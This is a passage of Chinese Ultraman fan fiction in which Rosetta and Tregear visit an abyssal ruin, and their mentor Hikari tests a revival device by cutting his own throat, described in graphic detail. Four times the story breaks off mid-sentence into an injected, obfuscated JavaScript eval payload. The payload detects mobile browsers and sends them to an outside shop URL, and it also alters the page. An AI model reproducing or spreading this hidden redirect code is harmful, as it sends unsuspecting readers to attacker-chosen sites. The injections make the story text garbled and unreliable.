“这个样子,是战神?”凯仰起头看,那个巨人的样子和伽农星的战神十分相似,通体金甲,只是头上没有代表权能的金环。巨人抬起手,手腕上的护甲变成一柄长剑,握在手中。伽古拉从蛇心剑的倒影中打量自己的面貌。他的眼睛是绿色的,脸部的头雕像是尖尖的角。他解除了变身,对凯说:“只是样子像战神而已,我没有战神创造生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648368|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命的能力。” “伽古拉也成为巨人了!有想好给奥特曼取一个什么样的名字吗?” “……我不是奥特曼。”他用浓绿的眼睛扫过黑暗圆环,他感受到这个圆环还能帮助他变身成怪兽,“我是伽古拉,也只是伽古拉。” “看来你已经找到自己的道路了,伽古拉。那么我们就此告别吧。”罗塞塔说。凯不舍地和帮助他们良多的前辈们告别,他们目送银白的的飞船离开。凯问:“伽古拉,我们去哪里?” “凯,我不会再陪你了。” “伽古拉?”凯睁大了眼睛。他听见剑士平静地说:“我有自己的道路要走,在拯救世界之前,我想把正在哭泣的生命从绝望中拉出来。就从……这里开始。” 伽古拉注视着战士之巅下的星球,这颗充斥着暴力、罪恶、混乱的星球。比起拯救宏大的世界,他的目光更多地被正在生活的人们吸引,他说:“你去做欧布奥特曼应该做的事情吧,我们是时候分开了。” “这样啊,伽古拉已经找到自己的理想了,真好。”凯露出微笑,他说:“虽然我们的目标不同,但是只要一直走下去,我们一定会在同一个终点汇合。伽古拉,一直以来谢谢你的帮助,我会努力成长成可靠的奥特曼,到那时候,我也能成为你的力量。” “那么再见吧。” “嗯!下次再见。” 不过七天的冒险,似乎给托雷基亚造成了很大的影响。他从罗塞塔这里拼凑出了事情的全貌后,就一直沉默地注视着窗外的宇宙。罗塞塔很关心好友的精神状态,她担忧地问:“托雷,你在想什么呢?” “……我在思考,世界为什么是这个样子的。” 他低下头,看着自己的双手,仿佛还能回忆起自己在最终决战中无能为力的心情。是伽古拉打开了通道,是罗塞塔保护了他。他什么也没做到,什么也没拯救。托雷基亚缓缓吐出一口气,忧郁地说:“这场悲剧里好像没有坏人,所有人都是抱着‘让世界更美好’的心意行动的,可是无数的好意铺成了通往地狱的道路。” “我们所认为的美好,对于其他人是痛苦也说不定。宇宙就是这样复杂的东西。” “我们该憎恨谁呢?我们应该恨那个美好却不存在的乐园吗?” “但是人们不会放弃对美好的追求,托雷。”罗塞塔庄严地回答,仿佛在念诵一条刻在石碑上的铁律,“这就是生命的本能。我们从神的乐园中被流放,但是我们不会回头。因为我们要在尘世的血与泪中,建造属于人的伊甸。” 33. 当你凝视深渊的时候 (33) 宇宙遗迹博尔赫斯。 经历一段短暂的冒险,罗塞塔和托雷基亚来到了旅行的终点。这个遗迹远远看去像一枚纺锤形的黑色建筑,周围的时空无序扭曲着。无论什么生物看到它的时候都会本能地明白这里是绝对不该接近的危险禁地。飞船无法穿过时空涡流,罗塞塔把科考船停在附近地小行星带上,决定下船飞过去。 “看见这里,你有什么感觉吗,托雷?” “很混乱,又像光又像暗,有一种危险的感觉……等等,罗塞塔你打算一个人去吗?不行,我要和你一起去。” 罗塞塔没有拒绝朋友的请求。在封印的东西被放出来之前,这个遗迹其实没什么危险的地方,连怪兽都没有。她左脚轻撤半步,脊背如弦微弯,行了一个屈膝礼,右手递向天蓝色的同族,掌心朝上——这是一个邀请的动作,犹如舞会开场前绅士恳请淑女赏脸应约。托雷基亚把自己的手送过去,和童年时闯入宇宙监狱里面一样,他把自己的安危全交给罗塞塔。二人于虚空中浮游,第三视角指引他们循着安全的路线前进。托雷基亚好奇地问:“这里是什么地方,为什么要来这里考察?” “这里是通往无意识之海的宇宙之井。在遥远的太古时代,宇宙处于混沌的时代,那个时候世间的一切都不分你我的融合在一起,既没有光暗之分,也没有虚实之分。生命是宇宙做的一个梦。后来梦中的灵魂意识到自己与他者的区别,于是天地初开,世界诞生。” 罗塞塔念诵着德祐星古代遗迹中解读出来的记录,带着托雷基亚降落在“天井”的边缘。他们沿着井口行走,步伐轻盈,好像行走在地狱边缘,脚侧就是盛满硫磺和业火的大坑洞。她继续说:“在混沌之中,梦境与现实处于同一纬度,梦中发生的事情也会出现在现实中,后来人们为了维持世界的现实稳定,将无意识的虚妄海封印在深渊里。即使这样,生命依旧没有切断与虚妄海的联系,当人们做梦的时候,就会回到这片海中,梦是深渊的入口。” 托雷基亚听得入迷,他说:“这里就是一切起源的地方吗?你要打开它吗?” 他的声音落入深井,被空旷的井壁重叠反射,传回来的回音陌生又怪异。这个声音把好奇的科学家惊醒,属于光之战士的责任感强势崛起。他连忙拉住罗塞塔的手:“不要乱来啊!打开封印说不定世界会毁灭的!” “我不是为了井里的东西来的。”罗塞塔被好友的正义感逗笑了,她晃了晃托雷基亚的手,示意他看这座天井内壁凿刻的文字:“看到那些封印了吗?对于我来说,那些才是更有意义的东西。之前收录的咒文不完整,我想在这里研究这些文字,完善我的术式。” 她根本没对黑暗的深井投去一个目光,只是专注地记录着石壁上的文字。混沌是很强大的东西,可是就算是那样的存在,也被人的智慧所束缚。人们从蛮荒中走出,一点一点摸索世界的规律,应用智慧将世界改造成现在的样子。这无疑是人的精神的胜利。人之理性优于蒙昧的暴力,在人理之前,邪神也要退让。这些人造的封印正是智慧的辉光。 “呼……我还以为你想要力量走火入魔了。” 托雷基亚松了一口气,伽农副本给他打出了PTSD,他怀疑罗塞塔也感到了自身的弱小,才会向禁地寻求力量。或许弱小才是世界上最可怕的深渊,世间的所有生命都会在一生中的某个瞬间痛恨自己的无力。他看着罗塞塔专心记录,他也将目光投向四方界域。抬头是繁星点点的深空,四周是风化磨损的遗迹。最后他看向深不见底的大渊,深邃的黑暗连一丝光都透不出来,这里过分安静,他随脚踢下一颗石头,侧耳倾听许久,也没有听见回声。或许是掉到某个人的梦里去了吧,这里真是有去无回之地。托雷基亚蓝色的眼灯注视着深渊,那必死无疑的地方忽然对他产生了莫大的吸引力。就像人走上天台的时候,看着高空之下的土地,会有一种跳下去的冲动。这是不是生命想要回归原初的本能呢?他没有被这种冲动所诱惑,转头看了一眼专心研究的挚友,散发微光的少女像是船锚,牢牢拉扯住他的存在。他并不厌恶这种牵绊,他知道,只要他向她伸手,罗塞塔一定会握住他的手。 托雷基亚继续注视着深渊。 在那空无一物的底部,好像有什么波动传上来,隐隐约约,像是参加宴会时演奏的乐器声,宾客们欢笑着哭泣着,乐席上男高音激昂地歌咏。他们在歌唱,它们在歌唱,祂们在歌唱—— “数奇十午塔塔塔塔@24%!■■■■下来深砂砾真月京考滚!” “因非他隼道诉#1st(ELPIS■■■主愿示以湖路切切厮苏离!” “’■■■‘王末请恭成座新终已国妄虚皆道之愿焚!” “■■■■,■■■,■■■■■■■■■,■■■!” 托雷基亚使劲甩了甩脑袋,想把这些嘈杂黏腻,令人无端感到狂喜的歌声甩出去。这个地方果然有一股魔性,或许那被封印之海是活的东西,用精神干扰诱惑无知的人揭开地狱的封印。他抓住罗塞塔的胳膊,他的手不自觉用力。捏疼了沉迷解析的朋友:“这里很不对劲,我们快走吧!” “你在发抖,托雷。是受到溢出的梦境影响了么?”罗塞塔用手摸了摸托雷基亚的脸,点点头,“好,别怕。我已经记录完全部的术式,我们现在就回光之国。” 【老师,我们回来了。】 正在工作的希卡利被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648369|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设置的“特别关心”的提示音惊醒。他揉了揉眉心,点开爱徒们的消息。第一条招呼是罗塞塔发来的,跟随其后的是托雷基亚提交的科考日志。他点开这份报告,开头弟子们诚实地描述了翘班出去玩的旅游日记,然后起承转拯救世界。希卡利下意识退出去看了一眼发件人,确认不是宇宙警备队的战斗报告发错地方。他抿着嘴,看着托雷基亚以冷淡的叙述风格梳理事情的经过,过程中的战斗,还有最后的结局。战斗记录和生命之树的图文资料被放在附件里。希卡利反反复复点开托雷基亚的战斗视频,光屏上蓝族战斗的英姿落进淡黄色眼灯里。 在无人知晓的角落中,有两个科技局的蓝族扛起了不属于自己的责任,拯救了全世界的灵魂。 门被工作证刷开,希卡利抬起头,看见科技局的双子星一前一后地走进来。他们看上去虽有些疲惫,其他状况都不算太差。托雷基亚拎着采集到的生物样本放在桌上:“希卡利长官,我觉得你会对这些资料感兴趣的。”罗塞塔双手按在桌子上,笑眯眯地说:“老师,有没有想我们呀?” “当然。” 希卡利说。在工作的时候,他总是会想起托雷基亚做实验时的专注表情,罗塞塔把文件递给他的时候的自信目光。他一直看重这两个天才的弟子,想着他们在外面玩得开心吗?钱够不够花?有没有遭遇意外?现在他们终于回到他面前,这种感觉就像你放家里娇养的两只小猫出门撒欢,它们却被很坏的狗揍了一顿。凄凄惨惨地跑回来,还记得给主人带回珍贵的礼物,叼到你面前眼睛亮晶晶地等待夸奖。哪个主人不会被小猫们感动,抱着猫大骂:天杀的,不许欺负我的猫! 群青色的奥特曼站起来,从工作桌后走出来,一手一个抱住两个出色的弟子:“辛苦了,你们已经做得很好了。” “长官?!”托雷基亚被吓了一跳,扭过头去嘟囔:“不要把我们当成小孩哄,我们已经成年了。”他的脸上有些发热,心中的不甘和委屈却好像的确在这个拥抱中被融化了。就算他什么也没做好,作为老师的希卡利也会肯定他的努力,愿意称赞他。托雷基亚轻轻抬起手,试探性地环住长辈的背。 可是在我眼中,你们的确只是青涩的孩子呀。一万多岁的希卡利想。比起傲娇的托雷基亚,另一边的罗塞塔就要坦诚得多。她往希卡利的胸膛拱了拱,豪放地抱住老师和挚友,欢快地说:“谢谢老师,我最喜欢老师了!” “如果累的话,还可以休息几天。” “带薪吗老师?” “……我私下给你们发。” 离群的飞鸟回到族群之中,在这个名为家园的地方,永恒不变的火花塔的光芒照耀着,拂去所有游子的哀愁与伤痛。 34. 科技局的蓝族们 (34) 从拯救世界的冒险中归来,蓝族们回归了平静安详的日常。罗塞塔跟着希卡利加班,而托雷基亚已经学会如何摸鱼,反过来时不时带着好友出门考察(旅游)。他做了详细的旅游攻略,保证每一次的旅途绝不可能险象环生。希卡利稳稳地扎根科技局,默认两个弟子到处乱跑。他像是一个留守在家的空巢老人,看着孩子们羽翼丰满,向星辰大海展翅高飞。 今天是一个重要的日子,科技局的资金审批发放下来了。不得不强调一点,科研是非常非常烧钱的,经费这种东西当然是越多越好。光之国不缺能量,但稀有的材料还是缺。每一次申请经费,希卡利局长都沐浴着全科技局科学家的殷切目光,雄赳赳气昂昂地走向大队长的办公室。他的对手是宇宙警备队的队长佐菲、行星观测局长大赛文、还有银十字军长玛丽。 办公室里面发生了什么样的慷慨激扬的辩论过程,至今仍是光之国的未解之谜。只是每一次回来,希卡利的表情都很疲惫,像是和贝蒙斯坦搏斗了七天七夜。总之经费是到手了,科技局的小鸡崽们叽叽喳喳地提交一大堆项目申请,而希卡利要在这一大堆的研究任务中挑选可行的项目,确保每一分经费都花得有意义。 他先按照金额的倒序排列,从光屏的上方向下扫视,挑挑拣拣几个合理的批准。翻了一页两页三页后,他还是没有看见两个弟子的申请。他的计时器“咯噔”一下,选择正序排列,果然在最上方看见那个让人心肌梗塞的申请条目。 申请人:罗塞塔&托雷基亚 研究项目:基于光能波长定位的超域相位转移集成装置(便携版) 所需材料:埃里卡厄斯合金0.45吨,火花塔分布式协议一份 其他:100个标准单位的能源配给 希卡利沉默地刷新了一下又一下,光屏上的字迹没有丝毫改变。这看起来没有什么问题,低成本的投入,高回报的产出。但是问题就在于,要价太便宜了!就算维修一艘科考船都比这贵。这已经不是罗塞塔第一次提出这样离谱的申请,上一次是虚位光离子炮,上上次是环恒星试做型戴森球,上上上次是曲率飞船及安装其中的空间虫洞,通通只要100单位能量和一点稀缺材料。而且他们最后居然都能把成品摆到他面前。他忍不住深呼吸,一开始的项目书是很正常的,就像小孩子和爸爸说我要花十块钱买棒棒糖。很合理,希卡利批准了。但是后来就开始离谱了,小孩子说爸爸给我十块钱,我要买冰箱,爸爸给十块钱我要买航天火箭,爸爸十块钱给我买核发电站……最离谱的是小孩真的拿着成品走到他面前说我完成了。他真的很想问问罗塞塔这是可以做到的吗?你和托雷基亚真的没在搞什么会被宇宙警卫队抓起来的副业吗? 希卡利拨通了视频通讯:“罗塞塔,我看见你的申请了。” “怎么了,老师,有什么问题吗?” “我们是奥特曼。”希卡利委婉地说,“材料不够可以申请,虽然经费紧张,但是也没有紧张到这个地步。你们不能兼职做宇宙海盗。” “什……哈哈哈哈哈,老师,你真可爱。”视频另一头的蓝族被逗笑了,她笑得花枝乱颤,“没有做那种事啦,我只需要那一些就足够了。其他的材料我已经准备好了,只是核心材料实在找不到,才向您要一点。” “如果我没有记错,制作相位转移装置还需要珀尔晶石,你从哪里弄来的?” “秋瓷欧拉星。” “甲化醚酯外壳?” “秋瓷欧拉星。” “赤弦习提溶剂?” “秋瓷欧拉星。” “这个星球是什么我不知道的材料供应星么?” “是垃圾场。”托雷基亚插入对话,他疲惫地说:“长官。别问了。这些都是我们捡垃圾回收的。” 托雷基亚想起他们第一次路过那颗垃圾星的时候,事情就往一个不可思议的方向狂飙。罗塞塔注视着那片肮脏混乱的废弃之地,好像觉醒了上辈子的血统。她双眼发光,对托雷基亚说:“我的DNA动了,这里,是一片宝箱啊!” 罗塞塔激发了捡垃圾的热情。她说这不是垃圾,是放错地方的资源,我们应该遵循节俭的优良传统,把这些资源重新利用。托雷基亚无法理解生长在物资充足的光之国的罗塞塔为什么会有这种传统,他不高兴地说:“为什么要把我的设计用在这种废料上啊。” “托雷不感兴趣也没关系,我来就好了。” 罗塞塔都这么说了,他难道真的能丢下小伙伴不管吗?他只能苦哈哈地帮罗塞塔分类回收。每次罗塞塔一来如蝗虫过境,所到之处雁过拔毛。走的时候托雷基亚觉得秋瓷欧拉星的生态环境都变好了。不得不说,捡垃圾……其实蛮好玩的,他们经常扒拉出一些意想不到的东西,比如某个小屁孩的暗恋日记,完整的徽章铭牌,破碎的合影照片。虽然捡垃圾不太符合托雷基亚的行事风格,但是和罗塞塔一起去,就很有意思。 “……那之前的虫洞生成器呢?这种东西你们不可能在垃圾场捡到吧。” “啊,那是我从某个文明的遗迹里面翻出来的。如果能让遗物重新焕发光辉,那些安息的生命也会欣慰的吧。”罗塞塔回答。 “我们刨了别人祖坟。”托雷基亚翻译。 希卡利的头开始痛了,他说:“先不提捡垃圾,挖别人的坟是不是不太道德。” “我寻思没人要我就捡回来啦,如果他们有意见,可以从坟墓里出来和我要赔偿。” “……行。” 希卡利挂断了通讯。他的两个学生不仅天才,还同时兼备天才的另外一个特质:难搞。幸好他们的道德都在及格线上,没有越过警卫队的执法底线。他默默批准了罗塞塔和托雷基亚的申请。继续与其他申请斗智斗勇。 罗塞塔和托雷基亚师从希卡利,学到了很多高深前沿的理论。他们带回来的生命之树样本资料激发了希卡利的灵感,在不眠不休地工作了整整六十年后,希卡利带着两个学生成功研究出生命固化装置。希卡利注视着尚且庞大臃肿的试做型,心头一片火热。 终于完成了……我的理想,我的希望。 从父母死去的那一刻,希卡利就在想,如果我能留住他们就好了。把那些无可奈何逝去的生命抓住,让孩童不再失去父母,让战士不再失去友人,让我们的同胞不再分离。固化生命的设想从希卡利第一次走上科研之路就存在,它看似经历了百年的研发才诞生,却是贯穿希卡利一万年以来漫长人生的夙愿。 “还是太大了一些,要做得方便使用才行。”希卡利说,“在动物身上的实验已经取得成功,接下来,我会和玛丽军长沟通,先在银十字进行临床实验。” “好的,老师。”罗塞塔点头,临床实验的实验员不出意料就是她了。因为她不仅是个科学家,还是一个医者,她能够从两个不同的专业角度评估装置的稳定性。 罗塞塔回到了银十字,她没有打开属于自己的诊室,而是带着生命固化装置走进重症区。初版的生命固化装置只能给光之生命体用,而且有一个前提,需要能量循环核心(计时器)保持完好,其次是最重要的一点,使用者必须先丧失生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648370|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命,否则新的生命无法置入。她手持着固化的生命,点亮那些熄灭的光芒。罗塞塔看见死者苏生,残疾者长出新的肢体,他们死去,然后活过来。用充满感激和惊喜的声音和罗塞塔道谢,在洋溢着喜悦气息的病房中,罗塞塔在记录本上写下结论:成功率99.5%。 她返回科技局报告。托雷基亚感叹道:“不愧是希卡利老师,这是只有神能做到的奇迹吧。”他无法不激动,只要有了这个发明,光之战士就不会因为战斗死去。泰罗能够一直闪耀下去,罗塞塔也能安全地活下去。希卡利满意地点头,他已经开始草拟生命固化装置的发表会流程,以及后续的普适性改进。但是亲手进行过实验的罗塞塔却并不高兴,她拉了拉老师的衣角问:“老师,你真的要发布这个装置吗?你知道你会面临什么吗?” 希卡利不明白弟子为何忧虑,他耐心地回答:“我能够挽回更多的生命,让许多家庭不再破碎。” 罗塞塔叹气。 她说:“希卡利,善良天真的光之义人啊,你的发明会拯救万千生命乃至整个世界,但它会先杀死万千世人。你的发明让生命变得廉价,我们都会变成可以重复消耗的数字,而其他文明会更加恐惧不灭的光之战士,你可以无数次挽回失去的生命,可是你要怎么修补一颗渐渐被磨损的心灵呢?” 希卡利毫不动摇:“我想救更多的生命,我相信只要活着就有希望,我不会因为非议放弃的。” “老师,我不是来指责你的,我不关心其他人的看法,我只是想问你,你做好承担这一切的准备了吗?希卡利,你有亲身体验过这项技术吗?你是怎么确定,复活的是自己,而不是一段记录的复现?如果他们只是记录,那死掉的人是真的消失了,再现的不就只是复制品吗?” 伽农的生命之树能够复活生命,是因为伽农人的灵魂记录早就被上传给生命之树,死后灵魂会回到战神的精神里,由战神调配灵魂和记忆的去处。这种复活是基于存在树中记录的灵魂上的,这个记录类似区块链的分布式储存,在树中和树外同步变动。尽管灵魂是连续的,复活后的人们人格也会发生磨损。而希卡利的生命固化装置原理就要简单得多,如果死亡是失去了生命,那就在生命流失之前塞入一个完整的生命。知道原理的时候罗塞塔一直难以置信,这做法也未免太力大砖飞。在病房看见那些“活”过来的同族时,罗塞塔感受到一种悚然的恐怖。那真的是原来的人吗,还是一具“会动的尸体”?死者忘记自己已经死去,于是活了过来,与生者言笑晏晏。哪怕失去头颅也能再生,哪怕变成碎片也能复活。如果生命是一种万众通用的概念,我们的生命并无不同,只是加载了不同的数据运行的程序,如果能够复制这些数据,那么我们的自我是不是根本就没有唯一性。 说到底,我们应该如何定义死亡?是身体机能的停止,人格意志的改变,理想的完全崩溃,还是三者皆是?库因曾经说过我没有灵魂,那么我是否只是一个自以为是“我”的复制品? 她又问:“老师,那些活过来的人,是曾经的人吗?” 希卡利没有办法回答罗塞塔的问题,谁有权利定义什么是自我?是他人的看法,还是自我的认知?他沉默不语,罗塞塔了然,她说:”那我们来试一试吧,我们是全宇宙最了解这项发明的三个人了,托雷基亚,请你杀死我,再用固化生命复活我。” “什么?” “不行!” 两个蓝奥震惊地看向罗塞塔,说出惊世之语的蓝族女性面容很平静,她表情淡然,坚定地重复道。 “让我试一试。” 35. 这样的神经病居然有三个 (35) 罗塞塔曾经思考过很多次关于自己的死亡。 前世的死亡乏味可陈,只不过是寿终正寝。她并不畏惧死亡,因为所有人最后都是要死的,所以死亡前的短暂人生很宝贵,应该被用于自己真心想做的事情,而非盲目地依靠社会的范式行动,在她曾经相对于其他人更短暂的人生中,并没有什么遗憾。死前的感想也只有自己拉低了人类的平均寿命,对于人类的发展起到一个拖后腿的作用真是对不起啊。降生在这个世界时,她曾经听见一个不知名的预言:你将经历三度新生,登临■■的王座。如果那个声音不是幻听,那她应该自带复活甲。说起来变成奥特曼算不算一次新生?总之,她至少能苟一次。所以她想要亲自体验生命固化装置,看一看它对于自己这样一个无魂者是什么作用。就算不起作用她大概也不一定会死。 “我不同意!” 托雷基亚慌张地简直就像是一个受惊的女孩,他大步向前,抓起罗塞塔的手腕,浅蓝的眼灯激烈地闪烁着:“死亡是很痛苦的!我不允许你经历那样的事情!如果一定要有人尝试的话,那就让我来好了!我会自己动手,然后你们把我复活。绝对不可以让罗塞塔试!” 托雷基亚一直都知道,他的朋友有着先知般的洞察力和极强的行动力,幼年时他曾经好奇黑暗的样子,罗塞塔就直接带他去宇宙监狱参观贝利亚。罗塞塔的求知心和托雷基亚一样强烈,他们都被同样的好奇心灼烧,但是罗塞塔有在遵守光之国的良好道德观,她一般不会去折腾别人,只折腾自己。托雷基亚知道自己拦不住罗塞塔,因为她认为自己的问题符合逻辑而且具有正当性,假如他们今天阻止罗塞塔,那么说不定哪一天他的好友就私下以身证道。所以为了回答这个问题,不如让他代替罗塞塔去。 “托雷,你冷静一点。”罗塞塔反手握住托雷基亚的手,把自己的手指挤入他的掌心安抚他,“我知道死亡很痛,所以我不想让你来。” “……不要,就算你这样说,我也不会同意的。” “没事的,我相信老师的技术。” “这不是相信的事情!” 一直沉思的希卡利敲了敲桌子,他下定决心,打断两个弟子的拉扯:“如果必须有一个人尝试,那应该是我。是我发明了这项技术,我必须对它的安全性背书。罗塞塔,你的问题很有道理,所以我们开始验证。我以科技局长的身份命令你们,托雷基亚。你去布置场地。罗塞塔,你来记录实验过程。” “希卡利老师……” 托雷基亚吃惊地看着这个智慧成熟的前辈,没想到他会和他们一起发疯,甚至动用了命令的口吻。难道这是科学家们共有的默契和疯狂吗?他其实也不想希卡利去试,虽然他讨厌希卡利总是带着罗塞塔加班,但他其实很崇拜希卡利,每一次得到希卡利的肯定都会感到孩子般的欣喜。在场之中如果一定要选一个无足轻重的人作为实验品,他还是希望是自己。 罗塞塔注视着希卡利的眼灯,他们的眼神隔空对峙了几秒,在彼此的眼中看到了同样的蓝色火焰。他们都心知肚明,在场的三个人都被名为“真理”的火焰灼烧,身处同一片火场的人谈什么彼此拯救只是笑话。否则,希卡利怎么会在光之国万千蓝族中精准地挑中了他们两个?想要知道生命的边界,想要验证自我的唯一性,想要用理性解析世界,想要挽留住身边的人……他们三人实在是太过相似,希卡利和托雷基亚拦不住罗塞塔,所以罗塞塔和托雷基亚也拦不住希卡利。罗塞塔沉默着转过头开始准备实验。 他们找了一间保密级别最高的实验室,布置好场地,调低墙壁的透明度隔绝火花塔的光芒。罗塞塔设置好录像用的光屏,以及玛丽军长的急救热线。做好所有能够做的安全准备后,罗塞塔和希卡利站在实验台边,等待观察实验品希卡利的动作。 在无影灯的照射下,希卡利像是被摆放在祭坛上的祭品,他把自己献祭了真理,想要探寻真理的尽头是否有光明和幸福,先知和祭司守在他的身后,等待他走向自己的终点。希卡利慢慢举起手术刀,犹豫了一会。 他当然不会让两个学生亲手杀死他,这种事对于他们来说太残忍,所以希卡利执意要自己动手。尽管已经做出决定,死亡也不是能够轻易面对的东西。当他举起刀刃之时,求生的本能让身体瑟缩犹豫。希卡利并不是感受到了恐惧或者难过,他的心平静如水,有的只有对那个问题的疑惑。他将手术刀对准自己的脖子,有些困难地调整入刀的角度,然后抬眼看了一眼学生们的表情。让这两个孩子看见老师自杀还是太超过了,他看见托雷基亚咬着牙,似乎要哭出来。而罗塞塔注视着他,目光平静又冰凉,仿佛收束所有感情,只留下作为学者的探究。 他相信他们的实验一定会成功。 希卡利捅穿了自己的脖子。 群青色的身体倒下去,他的喉间“嗬嗬”作响,四肢条件反射般地抽动,双手本能地想要捂住流血的伤口。然后是计时器开始闪烁红光,眼灯慢慢熄灭,“嘀嘟嘀嘟嘀嘟——”的警报声响个不停,可是没有吸引到任何一个同族来救助他。他们看着希卡利在死亡边缘痛苦地挣扎着,最后躯干轻轻抽搐一下,停止动静。他的胸灯熄灭了,金色的光粒子从脖间的创口喷涌而出,流下实验台,在两个记录员的脚边形成一片小小的湖泊。无法从火花塔得到能量,在光子血液流干后,希卡利终于死了。 看见自己的老师死在自己面前是一种奇妙的体验,就像看见一条鱼在大海里溺死。在光之国这个被光芒包围的星球,鸟群最安全的巢穴里,有一个同类在自己的面前自刎了。这是绝不可能发生,绝不该发生的事情,一种错位的荒谬感扭曲了安全的认知,罗塞塔感到一阵眩晕。她分辨自己的感受,没有在其中找到一点对于那具身体的悲伤和难过。罗塞塔总是很难理解人们对于尸体的反应,在她看来,当一个人死去,剩下的“东西”就只是其他的物质,和一颗石子,一朵野花没有区别。抱着尸体缅怀故人,和对着遗物怀念他有什么区别吗?为什么人们对于尸体的反应会更加不理智呢? 她强迫自己去注视那具尸体,那就是希卡利,我的老师,不是其他的什么东西。她这样对自己说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648371|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼灯中终于聚集起对老师的柔软眷恋。 托雷基亚在发抖。他几乎拿不稳手上的生命固化装置,也迈不动脚。身体抗拒着带他接近那个曾经仰慕之人。罗塞塔从他手中拿走装置,轻盈地跨过地上的血泊,冷静而镇定地为老师的计时器注入生命。然后她走回托雷基亚的身边,二人一同等待渡河的贤者从死之国返回。 “罗塞塔……要是我们失败了怎么办?那不就是我们谋杀了希卡利老师吗?”托雷基亚已经紧张到开始胡言乱语,“说不定会被警备队当场击毙,我们还是早点清理掉作案现场逃跑吧。” “托雷,听我说。首先,失败了可以找玛丽军长用【再生光线】复活老师。其次,我们没有谋杀老师,录像可以证明老师是自杀,最多算是实验事故。最后,你先别哭,老师已经活过来了。” 希卡利一醒来就听见两个混世魔王在自己面前讲对口相声,他感到一种熟悉的头痛,就像每一次被两个逆徒的怪想法气到时一模一样。好亲切,这里是光之国没错。他强忍着全身的虚弱感撑起身体:“你们能不能过来关心我一下呢?” “老师,你感觉怎么样?” 罗塞塔走过去扶起希卡利,握住希卡利的手。她的手上亮起了治愈的绿光,希卡利无力地回答学生的话:“感觉就像死了一次。” 他被罗塞塔抱在怀中,依靠着弟子柔软的胸脯,呼吸间嗅闻到少女身上不知名的花香,安全感、热度和能量从交握的双手传遍全身,驱散冰冷的虚弱。他怀疑罗塞塔出于职业习惯,把一个比自己年龄大了一倍有余的成年人当成孩童对待,这未免让他感到有些羞郝,希卡利轻微地挣扎了一下。罗塞塔不赞同地制止了他,轻轻将老师的身体往上提了一点,将怀抱收拢。 他们进行了验证身份的对话,复活的希卡利回答了实验前由自己设置的所有问题。如果记忆和行为都一致的话,只能将他当成希卡利看待了吧?罗塞塔揽着希卡利的肩膀,叹了口气说:“所以这个问题发明者也没有得出答案吗?要不还是让我试一试好了。” “如果罗塞塔要试的话,我也陪你。”托雷基亚蹭过来,挨着罗塞塔坐。复活的希卡利让他冷静了不少,他甚至轻松地说:“如果回来的‘罗塞塔’不是罗塞塔,那我也变成不是’托雷基亚‘的托雷基亚好了。这样我们不论是在生前还是死后,都能在一起了。” “不行,你不许试,托雷基亚也不许。”希卡利又开始头痛了:“复活是有0.5%的概率失败的,你们两个都不许赌。把这段实验的影像和文件都封存起来,这种违背生命伦理的实验绝对不能在科技局出现。拿自己做实验也是违反道德的。” “希卡利老师,明明是你先带头的吧?我们三个都干了,所以我们是共犯。” “安心吧老师,我们有分寸的。” 两个逆徒还是很听老师的话,都乖巧地放下手术刀,开始勤勤恳恳地打扫凶案现场。希卡利无奈地说:“那就算我们手上都握着彼此的把柄,今天的事情谁都不许说出去。” “好~” “是。” 36. 失恋者联盟 (36) 